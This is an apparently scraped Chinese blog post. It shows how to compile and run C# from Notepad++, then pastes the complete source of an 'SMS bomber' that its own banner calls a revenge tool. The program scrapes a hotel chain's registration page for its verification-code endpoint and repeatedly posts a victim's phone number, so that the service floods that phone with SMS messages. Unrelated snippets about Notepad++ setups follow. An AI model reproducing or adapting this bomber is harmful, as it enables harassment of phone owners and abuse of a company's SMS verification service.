使用NotePad++ 运行轻量级的C#代码

在notepad++中新建文件hello.cs,F5运行,配置命令行

cmd /K C:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:$(FULL_CURRENT_PATH).exe $(FULL_CURRENT_PATH) && $(FULL_CURRENT_PATH).exe

原文网址:http://www.2cto.com/kf/201303/193122.html

我运行的一段失败的短信轰炸代码(C#)顺便贴出来。 代码原作者:http://aigudao.net/?post=154 crazyk(腾讯微博名)

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Web;
using System.Net;
//using System.Runtime.Serialization.Json;
using System.Threading;
using System.Text.RegularExpressions;

namespace 短信轰炸
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.Title = "短信轰炸器 by 草木の灰";
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("=============================");
            Console.WriteLine("= 娱乐报复利器,请谨慎使用  =");
            Console.WriteLine("=    http://aigudao.net     =");
            Console.WriteLine("=============================");

            string num=string.Empty;
            int count=0;

            if (args.Length==1)
            {
                Console.WriteLine("参数个数不正确,使用格式为:xxx.exe 目标电话 轰炸次数,如:短信轰炸.exe 13800138000 20");
                Console.WriteLine("任意键退出..");
                Console.ReadKey();
            }
            else if (args.Length==2)
            {
                num = args[0];
                int.TryParse(Console.ReadLine(), out count);
            }
            else
            {
                Console.Write("被炸号码:");
                num= Console.ReadLine();
                Console.Write("轰炸次数:");
                while (!int.TryParse(Console.ReadLine(), out count))
                {
                    Console.WriteLine("请输入数字!");
                    Console.SetCursorPosition(0,5);
                    Console.Write("轰炸次数:");
                }
            }
            int success = 0;
            int fail = 0;
            bool isBreak = false;
            Console.WriteLine("==开始轰炸,按Enter提前结束==");
            //Console.WriteLine("");
            Console.WriteLine("当前进度0%");
            ConsoleColor backcolor = Console.BackgroundColor;
            ConsoleColor foregcolor = Console.ForegroundColor;
            Console.BackgroundColor = ConsoleColor.White;
            for (int i = 1; i < 20; i++)
            {
                Console.Write(" ");
            }
            Console.WriteLine(" ");

            CookieContainer cookie = new CookieContainer();
            string posturl = string.Empty;
            HttpWebRequest getcookie = (HttpWebRequest)HttpWebRequest.Create(new Uri("http://www.htinns.com/Register.aspx"));
            getcookie.Accept = "text/html, application/xhtml+xml, */*";
            getcookie.Headers.Add("Accept-Language", "en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3");
            getcookie.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)";
            getcookie.Headers.Add("Accept-Encoding", "gzip, deflate");
            getcookie.Headers.Add("DNT", "1");
            getcookie.KeepAlive = true;
            getcookie.Method = "GET";
            getcookie.ServicePoint.Expect100Continue = false;
            getcookie.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip;

            HttpWebResponse rescookie = (HttpWebResponse)getcookie.GetResponse();
            if (rescookie.StatusCode.ToString() == "OK")
            {
                //cookie = rescookie.Cookies;
                StreamReader sfr = new StreamReader(rescookie.GetResponseStream(), Encoding.UTF8);
                string content = sfr.ReadToEnd();
                sfr.Close();
                Regex re = new Regex(@"<script\stype=""text/javascript""\ssrc=""(?<posturl>/.+?mobileSendvCode,\w+?\.ashx)"">.*?</script>", RegexOptions.IgnoreCase);
                Match mc = re.Match(content);
                if (mc.Success)
                {
                    GroupCollection gc = mc.Groups;
                    posturl = gc["posturl"].Value;
                    //Console.WriteLine("匹配成功,地址为{0}", posturl);
                }
                else
                {
                    Console.WriteLine("匹配ashx失败,退出");
                    //continue;
                    return;
                }
            }
            rescookie.Close();

            //<script type="text/javascript" src="/ajaxpro/control_inc_mobileSendvCode,App_Web_ocme5rdg.ashx"></script>
            for (int i = 1; i <=count;i++ )
            {
                if (Console.KeyAvailable && System.Console.ReadKey(true).Key == ConsoleKey.Enter)
                {
                    isBreak = true;
                    break;
                } 

                HttpWebRequest web = (HttpWebRequest)HttpWebRequest.Create(new Uri("http://www.htinns.com"+posturl));
                web.Method = "POST";
                web.Accept = "*/*";
                web.ContentType = "text/plain; charset=utf-8";
                web.Referer = "http://www.htinns.com/Register.aspx";
                web.Headers.Add("X-AjaxPro-Method", "SendVCodeByPhone");
                web.Headers.Add("Accept-Language", "en-US,en;q=0.8,zh-Hans-CN;q=0.5,zh-Hans;q=0.3");
                web.Headers.Add("Accept-Encoding", "gzip, deflate");
                web.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)";
                //web.Host = "www.htinns.com";
                web.Headers.Add("DNT", "1");
                web.KeepAlive = true;
                web.Headers.Add("Pragma", "no-cache");
                web.CookieContainer = cookie;
                //web.Headers.Add("Cookie", "__utma=8164269.667980901.1364286103.1364293236.1364359244.4; __utmb=8164269.2.9.1364359244; __utmz=8164269.1364286103.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); Hm_lvt_e5770a47472445b3f839a58a32b8abe5=1364286103,1364289503,1364359244; __utmc=8164269; Hm_lpvt_e5770a47472445b3f839a58a32b8abe5=1364359244; ASP.NET_SessionId=e2gxv0bcrxmnpd2avup1wosg");
                web.ServicePoint.Expect100Continue = false;

                string postdata = "{\"phoneCode\":\"" + num + "\",\"aTaskKey\":\"" + DateTime.Now.ToString("HH:mm:ss") + "\"}";
                byte[] bydata = Encoding.ASCII.GetBytes(postdata);
                web.ContentLength = postdata.Length;
                Stream sr = web.GetRequestStream();
                sr.Write(bydata, 0, bydata.Length);
                sr.Close();
                HttpWebResponse response = (HttpWebResponse)web.GetResponse();
                if (response.StatusCode.ToString() == "OK")
                {
                    success++;
                    //Console.WriteLine("发送成功");
                }
                else
                {
                    fail++;
                    //Console.WriteLine("发送失败");
                }
                response.Close();
                Console.BackgroundColor = ConsoleColor.Green;
                for (int j = 0; j < i * 20 / count;j++ )
                {
                    Console.SetCursorPosition(j, 8);
                    Console.Write(" ");
                }
                Console.BackgroundColor = backcolor;
                Console.SetCursorPosition(0, 7);
                Console.WriteLine("当前进度{0:N0}%",(float)i/count*100);
                Thread.Sleep(5000);
            }
            Console.WriteLine(isBreak? "中止轰炸,成功{0}次,失败{1}次":"轰炸完成!成功{0}次,失败{1}次",success,fail);
            Console.WriteLine("任意键退出...");
            Console.ReadKey();
        }
    }
}
时间: 2024-10-11 08:48:57

使用NotePad++ 运行轻量级的C#代码的相关文章

用notepad++ 打造轻量级Java编译器

http://blog.163.com/jackie_howe/blog/static/19949134720125591752396/ 用notepad++ 打造轻量级Java编译器 2012-06-05 21:24:49|  分类: Java|举报|字号 订阅 下载LOFTER我的照片书  | 首先按F6,会弹出执行命令的对话框,在Command(s)中输入下列四行: npp_save// 保存文件 cd "$(CURRENT_DIRECTORY)" D:\jdk1.6.0_10\

使用SVN钩子运行PHP更新服务器代码的注意事项

想通过本地提交代码到SVN服务器,同时同步测试服务器的代码 使用SVN钩子,运行服务器的php文件 代码如下: <?php header("Content-Type: text/html; charset=utf-8"); header("Cache-Control:no-cache,must-revalidate"); $username = '用户名'; $password = '密码'; $target_dir = '路径'; exec("su

Linux江湖08:使用GCC和GNU Binutils编写能在x86实模式运行的16位代码

不可否认,这次的标题有点长.之所以把标题写得这么详细,主要是为了搜索引擎能够准确地把确实需要了解GCC生成16位实模式代码方法的朋友带到我的博客.先说一下背景,编写能在x86实模式下运行的16位代码,这个话题确实有点复古,所以能找到的资料也相应较少.要运行x86实模式的程序,目前我知道的只有两种方式,一种是使用DOS系统,另一种是把它写成引导扇区的代码,在系统启动时直接运行.很显然,许多讲自己实现操作系统的书籍都会讲到x86实模式,也只有自己实现操作系统引导的朋友需要用到x86实模式,所以我这篇

如何让sublime编译和运行c和c++代码

轻巧便捷的sublime text 3代码编辑功能非常强大,并且很漂亮啊有木有!!!!以前我会在安装了CodeBlocks这样的编译器的基础上,再安装一个NotePad,作为编辑器.因为编辑器类似于记事本,只是作为编辑,有时候简单的看代码或者改代码并不需要大体积的编译器,只是需要打开代码修改一下而已,我们需要一个小巧简便的,又能高亮代码的东西~然而自从发现了Sublime这款软件之后,就对它情有独钟,果断换掉NotePad.Sublime的各种优点就不赘述了~部分功能演示官网首页有:Sublim

Notepad++运行Java

Notepad++ NppExec 按F6 npp_savecd $(CURRENT_DIRECTORY)javac -encoding UTF-8 $(NAME_PART).javajava $(NAME_PART) 1.保存当前文件2.设置当前目录3.编译,全文件名4.运行,只要文件名部分即可 再次运行,按CTRL+F6,就可以另外,可以先命令保存起来,下次按F6时,选择即可. public class Main{ 保存的文件名也必须是Main.java https://sourceforg

notepad++运行python

Notepad++是一个开源的文本编辑器,功能强大而且使用方便,一般情况下,Notepad++作为代码查看器,很方便,但是每次要运行的时候,总是需要用右键打开其他的IDE来编译和运行,总有些不方便. Python 的配置 一.配置: 1.打开Notepad++: 2. 按下F5,或者打开Run->Run…(如下图:) 弹出Run的窗口如图: 3. 这一步是最关键的,将下列语句拷贝粘贴至输入框中: cmd /k python "$(FULL_CURRENT_PATH)" &

使用Notepad++快速有效删除复制代码中的行号

转载:http://plum.0602.blog.163.com/blog/static/1130006502011101524120757/ 试了该方法,很好用! 为什么我把用Notepad++删除代码行号称作“快速”和“有效”呢? 其一,作为要常常分享和求取代码的编程人员来说,复制别人的代码可能将代码行号一起复制了,要想在编译器里运行,得一个一个删除行号,因此用Notepad++,只需一步便可以删除所有行号,其所谓“快速”(前提是按以下步骤配置Notepad++的自带插件). 其二,遇到问题

使用notepad运行python

Notepad++ 是一个开源的文本编辑器,功能强大而且使用方便,一般情况下,Notepad++作为代码查看器,很方便,但是每次要运行的时候,总是需要用右键打开其他的IDE来编译和运行,总有些不方便.特别是像lua这种语言,在Eclipse中无法集成,因此运行的时候,总是不方便. 我搜到了一个使用Notepad++作为编译器的方法,现在share给大家,:),还是很方便的...我先说下配置,看到了现象,再说原理,会比较容易明白. Python 的配置 一.配置: 1.打开Notepad++: 2

Notepad++ 运行PHP文件

Notepad++ 是一款Windows环境下免费开源的代码编辑器,它小巧,功能强大,可以支持多种语言编辑.下面记录一下在Notepad++中运行PHP的设置方法: 打开notepad++插件(官方下自带插件的) nppexec→execute… 或者直接F6,如下图 然后在里面输入 cd "$(CURRENT_DIRECTORY)" D:\WebTool\wamp\bin\php\php5.3.9\php.exe "$(FULL_CURRENT_PATH)" “$